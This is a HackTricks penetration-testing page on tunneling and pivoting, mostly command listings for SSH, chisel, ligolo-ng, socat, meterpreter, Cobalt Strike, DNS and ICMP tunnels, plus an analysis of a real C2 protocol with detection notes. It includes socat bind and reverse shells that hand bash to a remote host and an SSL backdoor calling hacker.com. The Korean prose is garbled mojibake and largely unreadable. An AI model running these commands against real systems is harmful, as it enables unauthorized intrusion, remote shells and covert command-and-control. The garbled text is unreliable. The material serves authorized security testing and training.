Tunneling and Port Forwarding
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Nmap tip
Warning
ICMP ๋ฐ SYN ์ค์บ์ socks proxies๋ฅผ ํตํด ํฐ๋๋งํ ์ ์์ผ๋ฏ๋ก, ์ด ์์ ์ ์ํด disable ping discovery (
-Pn)๋ฅผ ์ฌ์ฉํ๊ณ TCP scans (-sT)๋ฅผ ์ง์ ํด์ผ ํฉ๋๋ค.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
SSH
SSH ๊ทธ๋ํฝ ์ฐ๊ฒฐ (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
Local Port2Port
SSH Server์ ์๋ก์ด Port ์ด๊ธฐ โ> ๋ค๋ฅธ Port
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
Port2Port
๋ก์ปฌ ํฌํธ โ> ์นจํด๋ ํธ์คํธ (SSH) โ> Third_box:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
Port2hostnet (proxychains)
๋ก์ปฌ ํฌํธ โ> ์นจํด๋ ํธ์คํธ (SSH) โ> ์ด๋๋ก๋
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
์ด๋ internal hosts์์ DMZ๋ฅผ ํตํด ๋น์ ์ host๋ก reverse shells๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐ ์ ์ฉํฉ๋๋ค:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
์ ์ธํฐํ์ด์ค๋ฅผ ์์ฑํ ๊ฒ์ด๋ฏ๋ก ์์ชฝ ์ฅ์น ๋ชจ๋์ root ๊ถํ์ด ํ์ํ๋ฉฐ, sshd ์ค์ ์์ root ๋ก๊ทธ์ธ์ ํ์ฉํด์ผ ํฉ๋๋ค:PermitRootLogin yesPermitTunnel yes
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip link set tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ip link set tun0 up #Activate the server side network interface
์๋ฒ ์ธก์์ ํฌ์๋ฉ ํ์ฑํ
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
ํด๋ผ์ด์ธํธ ์ธก์ ์ ๋ผ์ฐํธ๋ฅผ ์ค์
route add -net 10.0.0.0/16 gw 1.1.1.1
Note
๋ณด์ โ Terrapin Attack (CVE-2023-48795) 2023๋ Terrapin ๋ค์ด๊ทธ๋ ์ด๋ ๊ณต๊ฒฉ์ man-in-the-middle์ด ์ด๊ธฐ SSH ํธ๋์ ฐ์ดํฌ๋ฅผ ๋ณ์กฐํ์ฌ any forwarded channel (
-L,-R,-D)์ ๋ฐ์ดํฐ๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. SSH ํฐ๋์ ์์กดํ๊ธฐ ์ ์ ํด๋ผ์ด์ธํธ์ ์๋ฒ ๋ชจ๋์ ํจ์น๊ฐ ์ ์ฉ๋์๋์ง ํ์ธํ์ธ์ (OpenSSH โฅ 9.6/LibreSSH 6.7) ๋๋ ์ทจ์ฝํchacha20-poly1305@openssh.com๋ฐ*-etm@openssh.com์๊ณ ๋ฆฌ์ฆ์sshd_config/ssh_config์์ ๋ช ์์ ์ผ๋ก ๋นํ์ฑํํ์ธ์.
SSHUTTLE
ํธ์คํธ๋ฅผ ํตํด ssh๋ก ๋ชจ๋ traffic์ ํน์ subnetwork๋ก tunnelํ ์ ์์ต๋๋ค.
์: 10.10.10.0/24๋ก ํฅํ๋ ๋ชจ๋ ํธ๋ํฝ์ ์ ๋ฌํ๋ ๊ฒฝ์ฐ
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
๊ฐ์ธ ํค๋ก ์ฐ๊ฒฐ
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
Meterpreter
Port2Port
Local port โ> Compromised host (active session) โ> Third_box:Port
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
SOCKS
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ:
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
Cobalt Strike
SOCKS proxy
teamserver์์ ๋ชจ๋ ์ธํฐํ์ด์ค์ ๋ฐ์ธ๋ฉํด ์์ ํ๋ ํฌํธ๋ฅผ ์ด์ด beacon์ ํตํด ํธ๋ํฝ์ ๋ผ์ฐํ ํ ์ ์๋๋ก ํฉ๋๋ค.
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
rPort2Port
Warning
์ด ๊ฒฝ์ฐ, port๋ beacon host์์ ์ด๋ฆฌ๋ฉฐ, Team Server์์๋ ์ด๋ฆฌ์ง ์์ต๋๋ค. ํธ๋ํฝ์ Team Server๋ก ์ ์ก๋๊ณ ๊ฑฐ๊ธฐ์ ์ง์ ๋ host:port๋ก ์ ๋ฌ๋ฉ๋๋ค
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
์ฐธ๊ณ :
- Beaconโs reverse port forward๋ ํธ๋ํฝ์ Team Server๋ก ํฐ๋๋งํ๊ธฐ ์ํด ์ค๊ณ๋์์ผ๋ฉฐ, ๊ฐ๋ณ ๋จธ์ ๊ฐ ์ค๊ณ์ฉ์ด ์๋๋ค.
- ํธ๋ํฝ์ Beaconโs C2 traffic ๋ด์์ ํฐ๋๋ง๋๋ฉฐ, P2P ๋งํฌ๋ ํฌํจ๋๋ค.
- ๊ณ ํฌํธ์์ reverse port forwards๋ฅผ ์์ฑํ๋ ๋ฐ ๊ด๋ฆฌ์ ๊ถํ์ ํ์ํ์ง ์์ต๋๋ค.
rPort2Port local
Warning
์ด ๊ฒฝ์ฐ, ํฌํธ๋ beacon host์์ ์ด๋ฆฌ๋ฉฐ, Team Server๊ฐ ์๋๋ผ ํธ๋ํฝ์ Cobalt Strike client๋ก ์ ์ก๋ฉ๋๋ค (Team Server๋ก ์ ์ก๋๋ ๊ฒ์ด ์๋๋ค) ๊ทธ๋ฆฌ๊ณ ๊ฑฐ๊ธฐ์ ์ง์ ๋ host:port๋ก ์ ๋ฌ๋ฉ๋๋ค.
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
reGeorg
https://github.com/sensepost/reGeorg
์น ํ์ผ ํฐ๋์ ์ ๋ก๋ํด์ผ ํฉ๋๋ค: ashx|aspx|js|jsp|php|php|jsp
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
Chisel
๋ค์ ๋งํฌ์ releases ํ์ด์ง์์ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค: https://github.com/jpillora/chisel
ํด๋ผ์ด์ธํธ์ ์๋ฒ์ ๋์ผํ ๋ฒ์ ์ ์ฌ์ฉํด์ผ ํฉ๋๋ค
socks
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
Port forwarding
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
Ligolo-ng
https://github.com/nicocha30/ligolo-ng
agent์ proxy๋ ๋์ผํ ๋ฒ์ ์ ์ฌ์ฉํ์ธ์
Tunneling
# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
sudo ./proxy -selfcert
# Create an interface named "ligolo" -- Attacker
interface_create --name "ligolo"
# Print the currently used certificate fingerprint -- Attacker
certificate_fingerprint
# Start the agent with certification validation -- Victim
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
# Select the agent -- Attacker
session
1
# Start the tunnel on the proxy server -- Attacker
tunnel_start --tun "ligolo"
# Display the agent's network configuration -- Attacker
ifconfig
# Create a route to the agent's specified network -- Attacker
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
# Display the tun interfaces -- Attacker
interface_list
์์ด์ ํธ ๋ฐ์ธ๋ฉ ๋ฐ ๋ฆฌ์ค๋
# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
# Display the currently running listeners on the agent -- Attacker
listener_list
์์ด์ ํธ์ ๋ก์ปฌ ํฌํธ ์ ๊ทผ
# Establish a tunnel from the proxy server to the agent
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
interface_add_route --name "ligolo" --route 240.0.0.1/32
Rpivot
https://github.com/klsecservices/rpivot
Reverse tunnel. ํฐ๋์ victim์์ ์์๋๋ค.
127.0.0.1:1080์ socks4 proxy๊ฐ ์์ฑ๋๋ค.
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
NTLM proxy๋ฅผ ํตํด ํผ๋ฒํ๊ธฐ
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
Socat
https://github.com/andrew-d/static-binaries
Bind shell
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
Reverse shell
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Port2Port
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
socks๋ฅผ ํตํ Port2Port
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
SSL Socat์ ํตํ Meterpreter
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
ํผํด์ ์ฝ์์์ ๋ง์ง๋ง ์ค ๋์ ์ด ์ค์ ์คํํ๋ฉด non-authenticated proxy๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
SSL Socat ํฐ๋
/bin/sh ์ฝ์
์์ธก์ ์ธ์ฆ์๋ฅผ ์์ฑํ์ธ์: Client ๋ฐ Server
# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
Remote Port2Port
๋ก์ปฌ SSH ํฌํธ(22)๋ฅผ ๊ณต๊ฒฉ์ ํธ์คํธ์ 443 ํฌํธ๋ก ์ฐ๊ฒฐํฉ๋๋ค
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
Plink.exe
์ฝ์์ฉ PuTTY ๋ฒ์ ๊ณผ ๊ฐ์ผ๋ฉฐ(์ต์ ์ ssh ํด๋ผ์ด์ธํธ์ ๋งค์ฐ ์ ์ฌํฉ๋๋ค).
์ด ๋ฐ์ด๋๋ฆฌ๋ ํผํด์ ์์คํ ์์ ์คํ๋๋ฉฐ ssh ํด๋ผ์ด์ธํธ์ด๋ฏ๋ก, reverse connection์ ์ํด ์ฐ๋ฆฌ ์ชฝ ssh ์๋น์ค์ ํฌํธ๋ฅผ ์ด์ด์ผ ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ๋ก์ปฌ์์๋ง ์ ๊ทผ ๊ฐ๋ฅํ ํฌํธ๋ฅผ ์ฐ๋ฆฌ ๋จธ์ ์ ํฌํธ๋ก ํฌ์๋ฉํ๋ ค๋ฉด:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
Windows netsh
Port2Port
local admin ๊ถํ์ด ํ์ํฉ๋๋ค (๋ชจ๋ port์ ๋ํด)
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
SocksOverRDP & Proxifier
์์คํ
์ ๋ํ RDP ์ ๊ทผ ๊ถํ์ด ํ์ํฉ๋๋ค.
๋ค์ด๋ก๋:
- SocksOverRDP x64 Binaries - ์ด ๋๊ตฌ๋ Windows์ Remote Desktop Service ๊ธฐ๋ฅ์์ ์ ๊ณต๋๋
Dynamic Virtual Channels(DVC)๋ฅผ ์ฌ์ฉํฉ๋๋ค. DVC๋ RDP ์ฐ๊ฒฐ์ ํตํด ํจํท์ ํฐ๋๋งํ๋ ์ญํ ์ ํฉ๋๋ค. - Proxifier Portable Binary
ํด๋ผ์ด์ธํธ ์ปดํจํฐ์์ **SocksOverRDP-Plugin.dll**์ ๋ค์๊ณผ ๊ฐ์ด ๋ก๋ํ์ธ์:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
์ด์ **mstsc.exe**๋ฅผ ์ฌ์ฉํด RDP๋ก victim์ connectํ ์ ์์ผ๋ฉฐ, SocksOverRDP plugin์ด ํ์ฑํ๋์๋ค๋ prompt๊ฐ ํ์๋๊ณ 127.0.0.1:1080์์ listenํ ๊ฒ์
๋๋ค.
RDP๋ก ์ฐ๊ฒฐํ์ฌ victim ๋จธ์ ์ SocksOverRDP-Server.exe ๋ฐ์ด๋๋ฆฌ๋ฅผ ์
๋ก๋ํ๊ณ ์คํํ์ธ์:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
์ด์ ๋น์ ์ ๋จธ์ (attacker)์์ port 1080์ด listening ์ค์ธ์ง ํ์ธํ์ธ์:
netstat -antb | findstr 1080
์ด์ Proxifier๋ฅผ ์ฌ์ฉํด ํด๋น ํฌํธ๋ฅผ ํตํด ํธ๋ํฝ์ ํ๋ก์ํ ์ ์์ต๋๋ค.
Proxify Windows GUI Apps
Windows GUI ์ฑ์ด Proxifier๋ฅผ ํตํด ํ๋ก์๋ฅผ ํตํด ํต์ ํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.
Profile -> Proxy Servers์์ SOCKS ์๋ฒ์ IP์ ํฌํธ๋ฅผ ์ถ๊ฐํ์ธ์.
Profile -> Proxification Rules์์ ํ๋ก์ ์ฒ๋ฆฌํ ํ๋ก๊ทธ๋จ ์ด๋ฆ๊ณผ ํ๋ก์ํ IP์ ๋ํ ์ฐ๊ฒฐ ๊ท์น์ ์ถ๊ฐํ์ธ์.
NTLM proxy bypass
์์์ ์ธ๊ธํ ๋๊ตฌ: Rpivot
OpenVPN๋ ์ฐํํ ์ ์์ผ๋ฉฐ, ์ค์ ํ์ผ์ ๋ค์ ์ต์
์ ์ค์ ํ๋ฉด ๋ฉ๋๋ค:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
Cntlm
ํ๋ก์์ ๋ํด ์ธ์ฆํ๊ณ ๋ก์ปฌ์ ํฌํธ๋ฅผ ๋ฐ์ธ๋ฉํ์ฌ ์ง์ ํ ์ธ๋ถ ์๋น์ค๋ก ํฌ์๋ฉํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ด ํฌํธ๋ฅผ ํตํด ์ํ๋ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์: ํฌํธ 443์ ํฌ์๋ฉํฉ๋๋ค.
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.
YARP
Microsoft์์ ๋ง๋ ์ญ๋ฐฉํฅ ํ๋ก์์ ๋๋ค. ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค: https://github.com/microsoft/reverse-proxy
DNS Tunneling
Iodine
์์ชฝ ์์คํ ๋ชจ๋ tun adapters๋ฅผ ์์ฑํ๊ณ DNS queries๋ฅผ ์ด์ฉํด ๊ทธ ์ฌ์ด์ ๋ฐ์ดํฐ๋ฅผ ํฐ๋๋งํ๊ธฐ ์ํด ๋ฃจํธ ๊ถํ์ด ํ์ํฉ๋๋ค.
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
ํฐ๋์ ๋งค์ฐ ๋๋ฆด ๊ฒ์ ๋๋ค. ๋ค์์ ์ฌ์ฉํ์ฌ ์ด ํฐ๋์ ํตํด ์์ถ๋ SSH ์ฐ๊ฒฐ์ ๋ง๋ค ์ ์์ต๋๋ค:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
DNSCat2
DNS๋ฅผ ํตํด C&C ์ฑ๋์ ์์ฑํฉ๋๋ค. root privileges๊ฐ ํ์ํ์ง ์์ต๋๋ค.
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
PowerShell์์
PowerShell์์ dnscat2 ํด๋ผ์ด์ธํธ๋ฅผ ์คํํ๋ ค๋ฉด dnscat2-powershell์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
dnscat์ ์ฌ์ฉํ Port forwarding
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
proxychains DNS ๋ณ๊ฒฝ
Proxychains๋ gethostbyname libc ํธ์ถ์ ๊ฐ๋ก์ฑ์ socks ํ๋ก์๋ฅผ ํตํด TCP DNS ์์ฒญ์ ํฐ๋๋งํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก proxychains๊ฐ ์ฌ์ฉํ๋ DNS ์๋ฒ๋ ํ๋์ฝ๋ฉ๋ 4.2.2.2์
๋๋ค. ๋ณ๊ฒฝํ๋ ค๋ฉด ํ์ผ์ ํธ์งํ์ธ์: /usr/lib/proxychains3/proxyresolv ๊ทธ๋ฆฌ๊ณ IP๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค. Windows environment์ ์๋ ๊ฒฝ์ฐ domain controller์ IP๋ฅผ ์ค์ ํ ์ ์์ต๋๋ค.
Go์์์ ํฐ๋
https://github.com/hotnops/gtunnel
Custom DNS TXT / HTTP JSON C2 (AK47C2)
Storm-2603 ํ์์๋ ์ธ๋ถ๋ก ๋๊ฐ๋ DNS ๋ฐ plain HTTP POST ํธ๋ํฝ๋ง ์ ์ฉํ๋ **dual-channel C2 (โAK47C2โ)**๋ฅผ ๋ง๋ค์ด ๊ธฐ์ ๋คํธ์ํฌ์์ ๊ฑฐ์ ์ฐจ๋จ๋์ง ์๋ ๋ ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ต๋๋ค.
- DNS mode (AK47DNS)
โข ๋ฌด์์ 5์ SessionID ์์ฑ (์:
H4T14). โข task requests์๋1์, results์๋2๋ฅผ ์์ ๋ถ์ด๊ณ ์ฌ๋ฌ ํ๋(ํ๋๊ทธ, SessionID, ์ปดํจํฐ ์ด๋ฆ)๋ฅผ ์ด์ด ๋ถ์ ๋๋ค. โข ๊ฐ ํ๋๋ ASCII ํคVHBD@H๋ก XOR ์ํธํ๋๊ณ , ํฅ์ค ์ธ์ฝ๋ฉ๋์ด ์ ์ผ๋ก ์ฐ๊ฒฐ๋๋ฉฐ โ ๋ง์ง๋ง์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋๋ฉ์ธ์ผ๋ก ๋๋ฉ๋๋ค:
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
โข ์์ฒญ์ TXT (๋์ฒด๋ก MG) ๋ ์ฝ๋์ ๋ํด DnsQuery()๋ฅผ ์ฌ์ฉํฉ๋๋ค.
โข ์๋ต์ด 0xFF ๋ฐ์ดํธ๋ฅผ ์ด๊ณผํ๋ฉด ๋ฐฑ๋์ด๋ ๋ฐ์ดํฐ๋ฅผ 63๋ฐ์ดํธ ์กฐ๊ฐ์ผ๋ก ๋ถํ (fragment) ํ๊ณ ๋ง์ปค๋ฅผ ์ฝ์
ํฉ๋๋ค: s<SessionID>t<TOTAL>p<POS> โ C2 ์๋ฒ๊ฐ ์ด๋ฅผ ์ฌ์กฐํฉํ ์ ์๋๋ก ํฉ๋๋ค.
- HTTP mode (AK47HTTP) โข JSON ์๋ฒจ๋กํ๋ฅผ ๋น๋ํฉ๋๋ค:
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
โข ์ ์ฒด ๋ธ๋กญ์ XOR-VHBD@H โ ํฅ์ค โ Content-Type: text/plain ํค๋์ ํจ๊ป **POST /**์ ๋ณธ๋ฌธ์ผ๋ก ์ ์กํฉ๋๋ค.
โข ์๋ต๋ ๋์ผํ ์ธ์ฝ๋ฉ์ ๋ฐ๋ฅด๋ฉฐ cmd ํ๋๋ cmd.exe /c <command> 2>&1๋ก ์คํ๋ฉ๋๋ค.
Blue Team ๋
ธํธ
โข ์ฒซ ๋ผ๋ฒจ์ด ๊ธด ํฅ์ฌ(16์ง์)์ด๊ณ ํญ์ ํ๋์ ํฌ๊ท ๋๋ฉ์ธ์ผ๋ก ๋๋๋ ๋น์ ์์ ์ธ TXT ์ฟผ๋ฆฌ๋ฅผ ์ฐพ์๋ณด์ธ์.
โข ๊ณ ์ ๋ XOR ํค ๋ค์์ ASCII-hex๊ฐ ์ค๋ ํจํด์ YARA๋ก ์ฝ๊ฒ ํ์งํ ์ ์์ต๋๋ค: 6?56484244?484 (VHBD@H์ ํฅ์ค).
โข HTTP์ ๊ฒฝ์ฐ, ์์ ํฅ์ค์ด๊ณ ๋ฐ์ดํธ ์๊ฐ 2์ ๋ฐฐ์์ธ text/plain POST ๋ณธ๋ฌธ์ ํ์ง ํ์ํ์ธ์.
{{#note}} ์ ์ฒด ์ฑ๋์ ํ์ค RFC ์ค์ ์ฟผ๋ฆฌ ๋ฒ์์ ๋ค์ด๋ง์ผ๋ฉฐ ๊ฐ ์๋ธ๋๋ฉ์ธ ๋ ์ด๋ธ์ 63๋ฐ์ดํธ ๋ฏธ๋ง์ผ๋ก ์ ์งํ๋ฏ๋ก ๋๋ถ๋ถ์ DNS ๋ก๊ทธ์์ ์๋ฐํฉ๋๋ค. {{#endnote}}
ICMP ํฐ๋๋ง
Hans
https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel
๋ ์์คํ ๋ชจ๋์์ tun ์ด๋ํฐ๋ฅผ ์์ฑํ๊ณ ICMP echo ์์ฒญ์ ์ฌ์ฉํด ๊ทธ๋ค ์ฌ์ด์์ ๋ฐ์ดํฐ๋ฅผ ํฐ๋๋งํ๋ ค๋ฉด Root ๊ถํ์ด ํ์ํฉ๋๋ค.
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
ptunnel-ng
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
ngrok
ngrok ํ ์ค ๋ช
๋ น์ผ๋ก ์๋ฃจ์
์ ์ธํฐ๋ท์ ๋
ธ์ถ์ํค๋ ๋๊ตฌ์
๋๋ค.
๋
ธ์ถ๋๋ URI ์์: UID.ngrok.io
์ค์น
- ๊ณ์ ์์ฑ: https://ngrok.com/signup
- ํด๋ผ์ด์ธํธ ๋ค์ด๋ก๋:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
#ย Init configuration, with your token
./ngrok config edit
๊ธฐ๋ณธ ์ฌ์ฉ๋ฒ
Documentation: https://ngrok.com/docs/getting-started/.
ํ์ํ ๊ฒฝ์ฐ ์ธ์ฆ ๋ฐ TLS๋ฅผ ์ถ๊ฐํ ์๋ ์์ต๋๋ค.
TCP ํฐ๋๋ง
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
